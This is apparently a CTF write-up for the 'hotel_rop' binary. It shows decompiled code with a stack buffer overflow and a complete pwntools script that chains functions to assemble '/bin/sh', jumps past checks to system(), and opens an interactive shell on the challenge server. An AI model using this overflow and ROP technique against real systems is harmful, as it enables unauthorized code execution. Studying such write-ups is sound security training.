Preface-------
We got a binary file with simple input and some output related to hotel checkIn.
Overview--------
Based on the name of the challenge, we can be certain, that some sort of rop is needed.
Loading the binary into *ghidra* we can see our function ```vuln```.
```Cvoid vuln(void){  char local_28 [28];  int local_c;   puts("You come here often?");  fgets(local_28,0x100,stdin);  if (local_c == 0) {    puts("Oh! You are already a regular visitor!");  }  else {    puts("I think you should come here more often.");  }  return;}```
Based on these inputs, we know where we can overflow.Looking at the functions with *radare2* and ```afl```, we find the function ```california, silicon_valley and loss```.
The name ```loss``` seems to be a reference to the normal ret2win function.Because in this function we got our system call.
```Cvoid loss(int param_1,int param_2){  if (param_2 + param_1 == -0x21523f22) {    puts("Dis is da wae to be one of our finest guests!");    if (param_1 == 0x1337c0de) {      puts("Now you can replace our manager!");      system((char *)&win_land);      exit(0);    }  }  return;}```
For this to work we need ```win_land``` to have the correct content.
For this we have the function ```california``````Cvoid california(void){  puts("Welcome to Hotel California");  puts("You can sign out anytime you want, but you can never leave");  *(undefined *)((long)&win_land + (long)len) = 0x2f;  len = len + 1;  *(undefined *)((long)&win_land + (long)len) = 0x62;  len = len + 1;  *(undefined *)((long)&win_land + (long)len) = 0x69;  len = len + 1;  *(undefined *)((long)&win_land + (long)len) = 0x6e;  len = len + 1;  return;}```
and the function ```silicon_valley``````Cvoid silicon_valley(void){  puts("You want to work for Google?");  *(undefined *)((long)&win_land + (long)len) = 0x2f;  len = len + 1;  *(undefined *)((long)&win_land + (long)len) = 0x73;  len = len + 1;  *(undefined *)((long)&win_land + (long)len) = 0x68;  len = len + 1;  *(undefined *)((long)&win_land + (long)len) = 0;  len = len + 1;  return;}```
So my final rop chain would need to be ```calfornia``` -> ```silicon_valley``` -> ```loss```.Looking at the function ```loss``` I first thought I need to set the correct parameters.But because I was to lazy for this I just calculated the offset of the puts relative to the base and add it.This way I don't need to worry about any parameters and get to system.
So my finale exploit code was:
```Python#!/usr/bin/env python3from pwn import *
context.arch = 'amd64'context.log_level = "INFO"
vulnerable = './hotel_rop'elf = ELF(vulnerable)
#p = elf.process()p = remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480)
p.readuntil('Welcome to Hotel ROP, on main street ')main_address = int(p.readline().strip(), 16)print("main at",hex(main_address))
main = elf.symbols['main']california = elf.symbols['california']silicon_valley = elf.symbols['silicon_valley']loss = elf.symbols['loss']
rop = ROP(elf)rop.call(main_address+(california-main))rop.call(main_address+(silicon_valley-main))rop.call(main_address+(loss-main)+0x32) # Skip all the checks and go to puts and then system
p.readuntil('You come here often?')p.sendline(b'\x41'*40+bytes(rop))p.readuntil('I think you should come here more often.')p.read( 2048, timeout=1 )p.read( 2048, timeout=1 ) # cleanup outputp.interactive()```
In the shell I only needed to print the content of ```flag.txt```.
The flag was:
```dctf{ch41n_0f_h0t3ls}```